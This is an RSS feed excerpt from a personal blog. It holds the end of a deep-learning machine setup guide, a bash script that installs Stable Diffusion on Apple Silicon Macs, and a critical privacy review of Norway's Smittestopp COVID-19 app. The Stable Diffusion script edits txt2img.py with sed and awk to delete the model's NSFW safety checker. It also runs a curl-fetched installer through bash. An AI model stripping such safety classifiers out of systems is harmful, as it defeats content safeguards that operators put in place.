python &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;from theano import *&quot;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; ~/.theanorc &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;EOM
[global]
floatX = float32
device = gpu0

[nvcc]
fastmath = True
EOM&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Theano-config at ~/.theanorc&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;&lt;a href=&quot;https://keras.io&quot;&gt;Keras&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; h5py
pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; keras
python &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;import keras&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;You can specify your Keras backend (tensorflow|theano) in ~/.keras/keras.json after Keras has run at least once.&apos;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;By default, TensorFlow is used.&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;&lt;a href=&quot;http://lasagne.readthedocs.io/en/latest/&quot;&gt;Lasagne&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--upgrade&lt;/span&gt; https://github.com/Lasagne/Lasagne/archive/master.zip&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Extras&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;conda &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; matplotlib jupyter pandas scikit-image scikit-learn&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now deactivate the env by typing &lt;code class=&quot;language-text&quot;&gt;source deactivate&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can use this environment as a base for new experiments, and clone it using &lt;code class=&quot;language-text&quot;&gt;conda create --name &amp;lt;NAME&gt; --clone learning&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Remote control&lt;/h1&gt;
&lt;p&gt;I&apos;ve also set up &lt;a href=&quot;https://www.teamviewer.com/en/&quot;&gt;TeamViewer&lt;/a&gt; on my own machine, so that I can get a quick graphical interface remotely.&lt;/p&gt;
&lt;p&gt;To start teamviewer at login, find the options menu item and check the relevant box.&lt;/p&gt;
&lt;p&gt;If you want to be able to reboot remotely, you can edit the file &lt;code class=&quot;language-text&quot;&gt;/etc/lightdm/lightdm.conf.d/50-myconfig.con&lt;/code&gt;, and add&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;SeatDefaults&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
autologin-user&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;USERNAME&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;to autologin (i.e. skip password-entry) on boot.&lt;/p&gt;
&lt;h1&gt;Wrapping up&lt;/h1&gt;
&lt;p&gt;If you&apos;re setting up your own machine or environment for deep learning, I hope you&apos;ve found this post useful.&lt;/p&gt;
&lt;p&gt;Regrettably, I haven&apos;t implemented support for comments on my site at the time of writing, but if you know of any errors or omissions that would be helpful if included, please feel free to contact me.&lt;/p&gt;
&lt;p&gt;I also hope to be blogging a bit more about machine learning experiments going forward, so stay tuned.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Stable Diffusion setup for Apple Silicon-based Macs]]></title><description><![CDATA[If you're one of the few people that have not yet got a local version of Stable Diffusion up and running – and you have a computer with an…]]></description><link>https://eivindarvesen.com/blog/2022/09/06/stable-diffusion-setup-for-apple-silicon-based-macs</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2022/09/06/stable-diffusion-setup-for-apple-silicon-based-macs</guid><content:encoded>&lt;p&gt;If you&apos;re one of the few people that have not yet got a local version of &lt;a href=&quot;https://en.wikipedia.org/wiki/Stable_Diffusion&quot;&gt;Stable Diffusion&lt;/a&gt; up and running – and you have a computer with an Apple Silicon based processor – I&apos;ve got something for you...&lt;/p&gt;
&lt;p&gt;The following bash script will set up a local &lt;code class=&quot;language-text&quot;&gt;conda&lt;/code&gt;-environment (&quot;m1sd&quot;), along with any and all dependencies – including Homebrew and Conda, if they are not already installed on your system.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It&apos;ll pause once and ask you to perform the one necessary manual step necessary (the download-portion of which can take a little time) before continuing at your request.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It&apos;ll also remove the built-in NSFW-filter (which is a little trigger-happy, IMO), so you won&apos;t get rickrolled by the machine learning model.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Run this script in a folder you&apos;d like to set up Stable Diffusion in:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token shebang important&quot;&gt;#!/bin/env bash&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt; brew &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&gt;&lt;/span&gt; /dev/null
&lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt;
    /bin/bash &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-fsSL&lt;/span&gt; https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;fi&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;which&lt;/span&gt; conda &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&gt;&lt;/span&gt; /dev/null
&lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt;
    brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; conda
&lt;span class=&quot;token keyword&quot;&gt;fi&lt;/span&gt;

&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; clone &lt;span class=&quot;token parameter variable&quot;&gt;-b&lt;/span&gt; apple-silicon-mps-support https://github.com/bfirsh/stable-diffusion.git m1-stable-diffusion
m1-stable-diffusion
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; m1-stable-diffusion

brew &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; Cmake protobuf rust

conda create &lt;span class=&quot;token parameter variable&quot;&gt;--name&lt;/span&gt; m1sd &lt;span class=&quot;token assign-left variable&quot;&gt;python&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3.10&lt;/span&gt;
conda activate m1sd
pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-r&lt;/span&gt; requirements.txt

&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; models/ldm/stable-diffusion-v1/

&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Now you need to do the following:&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;    - Set up an account on https://huggingface.co/&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;    - Go to https://huggingface.co/CompVis/stable-diffusion-v-1-4-original and agree to the license.&quot;&lt;/span&gt;
&lt;span class=&quot;token assign-left variable&quot;&gt;FOLDER&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;`&lt;/span&gt;&lt;/span&gt;/models/ldm/stable-diffusion-v1/
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;    - Download the file named &lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&quot;&lt;/span&gt;sd-v1-4.ckpt&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&quot;&lt;/span&gt;; save it to &lt;span class=&quot;token variable&quot;&gt;$FOLDER&lt;/span&gt; as &lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&quot;&lt;/span&gt;model.ckpt&lt;span class=&quot;token entity&quot; title=&quot;\&amp;quot;&quot;&gt;\&quot;&lt;/span&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;read&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Press enter to continue&quot;&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;#remove NSFW filter&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;cp&lt;/span&gt; scripts/txt2img.py scripts/txt2img.py.BAK
&lt;span class=&quot;token function&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;  &lt;span class=&quot;token string&quot;&gt;&apos;s/x_checked_image, has_nsfw_concept = check_safety(x_samples_ddim)/x_checked_image = x_samples_ddim/g&apos;&lt;/span&gt; scripts/txt2img.py
&lt;span class=&quot;token function&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;/# load safety model/ {suppress=1} /^\s*$/ {suppress=0} !suppress&apos;&lt;/span&gt; scripts/txt2img.py &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; scripts/tmp.py &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mv&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; scripts/tmp.py scripts/txt2img.py
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; -
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I&apos;ll probably host a proper installation script later; For now, just run the commands above, and you should be up and running in no time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[My reflections on Smittestopp]]></title><description><![CDATA[We – the government appointed expert group – published our final public report last month (informally summarized by me in English here) on…]]></description><link>https://eivindarvesen.com/blog/2020/06/27/my-reflections-on-smittestopp</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2020/06/27/my-reflections-on-smittestopp</guid><content:encoded>&lt;p&gt;We – the government appointed expert group – published our final public report last month (informally summarized by me in English &lt;a href=&quot;/blog/2020/05/20/smittestopp-summarized&quot;&gt;here&lt;/a&gt;) on the Norwegian COVID-19 app &quot;Smittestopp&quot;, ascertaining whether security and privacy is responsibly taken care of.&lt;/p&gt;
&lt;p&gt;In a group effort such as this one, there is often compromise – in order to be able to end up with a result everyone involved can justify to themselves, and stand by.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We all agree on the conclusion in our report.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are, however – in &lt;em&gt;my&lt;/em&gt; opinion – certain issues that are not addressed in the final report (and that might be out of scope for the report), that I think are imporant to consider. I will state some of these here, in addition to expanding on issues that appear in the report.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;What I write here is my own professional opinion on security- and privacy aspects of the Norwegian COVID-19 contact tracing app, &quot;Smittestopp&quot;. I do not (and can not) speak on behalf of any other persons, including any other members of the government appointed expert group. Nothing described herein is covered by NDA or legislation – everything is completely based on public information and what is described in our public report.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Introduction and Context&lt;/h2&gt;
&lt;p&gt;Comparatively, Norway was fairly early in rolling out an app, and the app itself is arguably one of the most invasive ones on the market – at least in a European context, where there are few (if any) other countries with the same configuration of privacy-impacting factors.&lt;/p&gt;
&lt;p&gt;Smittestopp is a closed-source solution; requires registration and de facto identification of users; collects sensor data from multiple sources (both BLE and GPS); and uploads data from all users, all of the time, to a centralized storage – unless users pause collection, but even then &quot;heartbeats&quot; that contain information about BLE and GPS-activations in the app are sent in the background.&lt;/p&gt;
&lt;p&gt;The degree to which (if any) there is data minimization in such a solution has been questioned by experts in public debate from the get-go.&lt;/p&gt;
&lt;p&gt;Some of the design choices has been defended by involved parties in the media, as a prerequisite for attempting to both contact tracing &lt;em&gt;and&lt;/em&gt; generating data for monitoring of public movement and other research and analysis purposes (including datasets for long term use).
One might then question the choice of attempting to solve both problems with one application, and what the privacy implications of this might be.&lt;/p&gt;
&lt;p&gt;Any privacy engineer (and indeed many others with a modicum of technical or practical understanding) will quickly see that these design choices have practical consequences – and, in my assessment, huge privacy implications.&lt;/p&gt;
&lt;h2&gt;Location data&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/28a2a399de36f4490c18880bda567dae/8ffe6/location.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.45569620253164%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGBf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/9oADAMBAAIQAxAAAAFbTn6CGybD/8QAHBAAAgICAwAAAAAAAAAAAAAAAQIDBAAREhMU/9oACAEBAAEFAqR5WjZXSOrrCzLnjTqE5hz/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAcEAABBAMBAAAAAAAAAAAAAAARAAECEhMhMWL/2gAIAQEABj8CPlXsIEc6rRcshFxbSxmSeMW0v//EABoQAAMAAwEAAAAAAAAAAAAAAAABESExQXH/2gAIAQEAAT8hwhRKfNHAjfQSqgePsDgl0d23T8JTZU//2gAMAwEAAgADAAAAEK/f/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQMBAT8QV//EABYRAQEBAAAAAAAAAAAAAAAAAAABEf/aAAgBAgEBPxCsf//EAB4QAQABBAIDAAAAAAAAAAAAAAERACExUUFxYbHx/9oACAEBAAE/ECbH5xAFGIwxKjlIZPHVDzxkMOk4aI9bujGuqYD1grdhh9p0JPBZvAPqv//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Man on a smartphone&quot;
        title=&quot;Man on a smartphone&quot;
        src=&quot;/static/28a2a399de36f4490c18880bda567dae/828fb/location.jpg&quot;
        srcset=&quot;/static/28a2a399de36f4490c18880bda567dae/ff44c/location.jpg 158w,
/static/28a2a399de36f4490c18880bda567dae/a6688/location.jpg 315w,
/static/28a2a399de36f4490c18880bda567dae/828fb/location.jpg 630w,
/static/28a2a399de36f4490c18880bda567dae/0ede0/location.jpg 945w,
/static/28a2a399de36f4490c18880bda567dae/3ac88/location.jpg 1260w,
/static/28a2a399de36f4490c18880bda567dae/8ffe6/location.jpg 5743w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;What one is interested in when performing contact tracing is &quot;who met whom&quot;. The identity of either party, or the location of contact is not relevant to prove contact.
You thus don&apos;t necessarily need to know &lt;em&gt;who&lt;/em&gt; the involved parties are, or &lt;em&gt;where&lt;/em&gt; the contact took place.&lt;/p&gt;
&lt;p&gt;The argument made for the use of location data in the case of Smittestopp is to attempt to compensate for lack in data quality as a consequence of Bluetooth API limitations at the time: Bluetooth wouldn&apos;t work reliably in the backround on iOS, whereas Android might kill apps that continuously used Bluetooth or location services in the background.&lt;/p&gt;
&lt;p&gt;On the other hand, GPS has a typical accuracy of 3 - 10 meters under ideal conditions (meaning outdoor usage).&lt;/p&gt;
&lt;p&gt;A proper and transparent evaluation of the possibilities available here might then include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How big of a problem does the current API limitations pose in practice (i.e. &quot;could we get by at all?&quot;)&lt;/li&gt;
&lt;li&gt;If workarounds are needed, how do we evaluate alternatives (for instance, non-exhaustively):
&lt;ul&gt;
&lt;li&gt;Attempting to &quot;live with&quot; the current limitations&lt;/li&gt;
&lt;li&gt;The Singaporean approach (in practice implementing a faux sleep-mode, necessitating keeping the app in foreground, but dimming screen when device is positioned &quot;upside-down&quot;)&lt;/li&gt;
&lt;li&gt;Collecting location data, which is Personally Identifiable Information (PII)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;How do the privacy implications of the respective alternatives size up against each other and the issue at hand?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Though it has been claimed that this data is &quot;anonymous&quot; in several contexts, this is incorrect. By virtue of being personally identifiable information, location data cannot be anonymous by definition.
Location data can in itself reveal a person&apos;s identity. There is no such thing as &quot;anonymous location data&quot; on an individual basis. In aggregated datasets, one can have certain quantifiable guarantees about degree of privacy (e.g. via &lt;a href=&quot;https://en.wikipedia.org/wiki/K-anonymity&quot;&gt;k-anonymity&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Differential_privacy&quot;&gt;differential privacy&lt;/a&gt;), but this gets complicated very quickly for a variety of reasons, such as temporal correlations or re-identification by combining data sources.&lt;/p&gt;
&lt;p&gt;In practice, location data is only a &lt;em&gt;clear&lt;/em&gt; functional requirement (of sorts, not necessarily to this degree of accuracy) in the case of monitoring public movement or other research – the second purpose of the app.&lt;/p&gt;
&lt;h2&gt;Centralized storage&lt;/h2&gt;
&lt;p&gt;When we talk about centralized storage in the context of contact tracing apps, we usually mean systems that are based on collection that is uploaded to a central server, which holds all data. This is in contrast with decentralized systems, where every user&apos;s data is stored on their device – until it is needed. One should also note that most popular decentralized solutions are not &lt;em&gt;distributed&lt;/em&gt;, i.e. they still use a central server as a communications channel of some sort (as opposed to purely peer-to-peer communications).&lt;/p&gt;
&lt;p&gt;The argument made in favor of data centralization in the case of Smittestopp is that augmentation of user data with data from other users is needed in analysis. It is also a prerequisite for the purpose of looking at movement patterns (to evaluate government actions), or do further unspecified research on aggregated data – which is also a purpose of the same app.&lt;/p&gt;
&lt;p&gt;A centralized datastore is in principle a defining factor when dealing with private data. Its very existence makes misuse, function creep, leakage and so on possible in a way that a decentralized solution just plainly doesn&apos;t – as you can&apos;t lose or abuse data you don&apos;t have.&lt;/p&gt;
&lt;p&gt;Alternative sources to aggregated data may already exist, such as the data telco&apos;s already provide in aggregate form, and which has already been used for the same purposes in Norway. The upside in using this is reusing existing data (not collecting, storing, protecting the same data) and existing control mechanisms that protects security and privacy. The downside is that this data might not be as precise as location data collected directly from devices, as resolution would depend on a host of factors, including cell site density.&lt;/p&gt;
&lt;p&gt;The privacy cost of uploading every user&apos;s locations and movements, as well as who they have met, and timestamps for all these events is undoubtably &lt;em&gt;much&lt;/em&gt; larger than uploading what data is needed &lt;em&gt;when&lt;/em&gt; needed, e.g. prompting users to upload their movements (or even just BLE-defined contacts) once a person they have been in contact with is positively diagnosed with COVID-19.&lt;/p&gt;
&lt;h2&gt;Two purposes&lt;/h2&gt;
&lt;p&gt;The current app is all-or-nothing, in that users can chose to have their data used for all the app&apos;s purposes, or to not use the app.&lt;/p&gt;
&lt;p&gt;It is obviously not ideal to &lt;em&gt;not&lt;/em&gt; let users explicitly opt in for either purpose. Nor is it in accordance with regular GDPR-demands (though we must remember that this is a major crisis), nor even best practice. A potential consequence of implementing one app that collects &lt;em&gt;a lot&lt;/em&gt; of data (as a consequence of enabling two purposes), as well as not giving users a choice is that user uptake may be hampered.&lt;/p&gt;
&lt;h2&gt;Data integrity and user traceability&lt;/h2&gt;
&lt;p&gt;The use and communications of static device identifiers makes it possible to track or impersonate others, trace users in limited/partial leaks, and so on. Just about &lt;em&gt;every&lt;/em&gt; other proposed solution (both protocol specifications, and existing apps) use &quot;rolling&quot; identifiers in one form or another.&lt;/p&gt;
&lt;p&gt;Data was temporarily stored in an unencrypted database on user devices in previous versions of the app, which made it possible to inject or modify data before uploading it to the server.&lt;/p&gt;
&lt;p&gt;The application connects to a cloud solution using an everlasting connection string, using no other session handling.&lt;/p&gt;
&lt;p&gt;All of this means that data integrity cannot be guaranteed, at least in the parts of the dataset collected before fixes for some of these issue was released.&lt;/p&gt;
&lt;h2&gt;Identifying users and analytics data&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/8a9157907db0d29b46688a11bd6ba6d3/f4c81/silhouette.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.32911392405063%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAMEBf/EABUBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIQAxAAAAHBmrmQK//EABgQAQEAAwAAAAAAAAAAAAAAAAIBERIg/9oACAEBAAEFAjMpGacf/8QAFhEBAQEAAAAAAAAAAAAAAAAAARAh/9oACAEDAQE/AU2f/8QAFREBAQAAAAAAAAAAAAAAAAAAEBH/2gAIAQIBAT8Bp//EABgQAQEAAwAAAAAAAAAAAAAAABEBACAh/9oACAEBAAY/ApMQ6a//xAAYEAEBAAMAAAAAAAAAAAAAAAABEQAgQf/aAAgBAQABPyEnGCy5aNDtbr//2gAMAwEAAgADAAAAEJgP/8QAFREBAQAAAAAAAAAAAAAAAAAAARD/2gAIAQMBAT8QRCM//8QAFhEBAQEAAAAAAAAAAAAAAAAAAREQ/9oACAECAQE/EABJn//EABsQAQEAAgMBAAAAAAAAAAAAAAERECEAMVHw/9oACAEBAAE/EIjrXivDVVE0Gd/e5rAujH//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Silhouette of man&quot;
        title=&quot;Silhouette of man&quot;
        src=&quot;/static/8a9157907db0d29b46688a11bd6ba6d3/828fb/silhouette.jpg&quot;
        srcset=&quot;/static/8a9157907db0d29b46688a11bd6ba6d3/ff44c/silhouette.jpg 158w,
/static/8a9157907db0d29b46688a11bd6ba6d3/a6688/silhouette.jpg 315w,
/static/8a9157907db0d29b46688a11bd6ba6d3/828fb/silhouette.jpg 630w,
/static/8a9157907db0d29b46688a11bd6ba6d3/0ede0/silhouette.jpg 945w,
/static/8a9157907db0d29b46688a11bd6ba6d3/3ac88/silhouette.jpg 1260w,
/static/8a9157907db0d29b46688a11bd6ba6d3/f4c81/silhouette.jpg 4500w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In order to use the application, users have to register their phone number (de facto identifying themselves). Functionally, there is no need to identify any involved party. Even in contact tracing, users could be notified by the application when a contact has been diagnosed with COVID-19 by health authorities.
One could argue that registration is a mechanism that protects against bogus uploads to some extent – but this, in addition to protection of privacy, is in a sense built-in to decentralized approaches that demands human intervention before any upload takes place (e.g. distributing upload-codes, in the case of DP-3T) – many of which also lets users choose specificly what timespans to share.&lt;/p&gt;
&lt;p&gt;Smittestopp was also found to be uploading analytics data (including potentially fingerprintable information) on just about any interaction the users do with the application – without telling users this (it was not stated in the privacy policy) or letting them choose whether they want to upload this data.&lt;/p&gt;
&lt;h2&gt;Legal implications&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;I am not a lawyer. Read my reflections with this in mind.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The regulation that is the formal basis for processing of the data mentions that health- and location data collected for this purpose can not be shared with law enforcement, etc.
Bluetooth-data, however, is not mentioned. I interpret this as sharing of Bluetooth-data being permitted. This would mean that parties the data is shared with could be able to, for instance, build social graphs of the data subjects.
Though the regulation puts in place certain limitations (including a sunset-clause), the regulation also states that it can be changed at any time by the government via a new regulation.&lt;/p&gt;
&lt;p&gt;The CLOUD Act and the Patriot Act mean that the U.S. government can demand, and secretly obtain data stored on the servers of American providers, even abroad. Most of the backend-services of this solution is hosted by Microsoft (a U.S. company) in Ireland, where there is already precedence for this.&lt;/p&gt;
&lt;h2&gt;Interoperability&lt;/h2&gt;
&lt;p&gt;Another consequence of the current Norwegian solution is that Norway will be unable to easily achieve data interoperability and collaboration with other European countries, as most of these already has implemented or will implement solutions based on Apple and Google&apos;s new APIs or DP-3T.&lt;/p&gt;
&lt;p&gt;Other countries&apos; contact tracing systems will therefore (in theory) be able to register contact events that involve citizens of other countries and/or persons using other apps, including apps produced by other countries&apos; health officials.&lt;/p&gt;
&lt;h2&gt;Other&lt;/h2&gt;
&lt;p&gt;The publicly available &lt;a href=&quot;https://www.fhi.no/contentassets/67d72db7c1ba4e2f9a70e9606b1c7ab0/dpia-smittestopp.pdf&quot;&gt;DPIA&lt;/a&gt; (Norwegian) does not appear to seriously consider alternative approaches in implementation, nor consider malicious use of the data, data breach, or data leakage other than via security features of the mobile apps. Some of the probabilities stated in the risk-assesments seem too good to be true.&lt;/p&gt;
